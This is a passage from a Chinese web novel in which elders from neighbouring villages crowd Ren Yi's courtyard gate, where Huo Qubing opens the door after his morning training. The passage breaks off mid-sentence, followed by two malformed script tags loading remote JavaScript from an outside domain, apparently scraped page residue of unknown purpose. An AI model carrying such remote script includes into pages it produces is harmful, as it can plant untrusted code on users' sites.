周里正看着眼前这群瞬间又喧闹起来的老伙计,无奈地摇了摇头,默默加大了揉按太阳穴的力道。
任先生教的这法子,好像……效果不太明显啊。这群老家伙,吵得他头更疼了。
任弋的小院,就在村子深处,沐浴在同样的晨光里,显得格外宁静,与周里正家门口的喧闹,形成了鲜明的对比。
小院的院墙不高,墙上爬着几株刚抽芽的爬山虎,嫩绿的叶子在阳光下透着生机。院子里种着一棵老槐树,枝繁叶茂,树下摆着一张石桌和几张石凳,平日里任弋和霍去病,就常在这树下喝茶、说话、看书。
此刻,霍去病刚结束一轮晨练。
他赤裸着上身,古铜色的皮肤上布满了汗珠,晶莹剔透,顺着肌肉的线条滚落,滴在地上,溅起小小的泥点。常年习武的身躯,线条流畅而有力量,肩宽腰窄,每一块肌肉都恰到好处,没有多余的赘肉,透着一股少年人的野性与凌厉。
他正拿起搭在院中石凳上的粗布巾,胡乱地擦拭着身上的汗水,动作利落而随意,额前的碎发被汗水打湿,贴在额头上,更添了几分英气。
就在这时,院门外传来了“笃笃笃”的敲门声,不急不缓,节奏均匀,却透着一股人多势众的意味。
毕竟,十几个人的脚步声和呼吸声,哪怕压得再轻,也瞒不过常年习武、听觉敏锐的霍去病。
“来啦!”
霍去病应了一声,声音洪亮,随手将布巾搭在肩上,大步走到门前,伸手拉开了门闩。他动作干脆,本以为是村里的村民来找任弋请教问题,可门一开,他还是愣住了。
门外,乌泱泱站了一大群人,男女老少都有?不,定睛一看,全是老头,一个个白发苍苍,衣着体面,几乎把门前的小路都堵满了,连旁边的田埂上,都站了两个。
打眼一看,全是熟面孔。
周围几个村子的里正和乡老,一个不落。
过去几年,这帮老爷子可是没少往这儿跑,明的暗的,各种手段都使尽了,就为了一个目的:把任弋这尊“活菩萨”请到他们村里去,也开个夜校,教他们村里的百姓识字、学手艺,照亮照亮他们那边的穷日子。
前些日子,任弋挑了几个学得好、心思细的村民,开始教他们如何把夜校的知识和手艺传播出去,让更多人受益。这帮人似乎消停了一阵,没再来叨
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">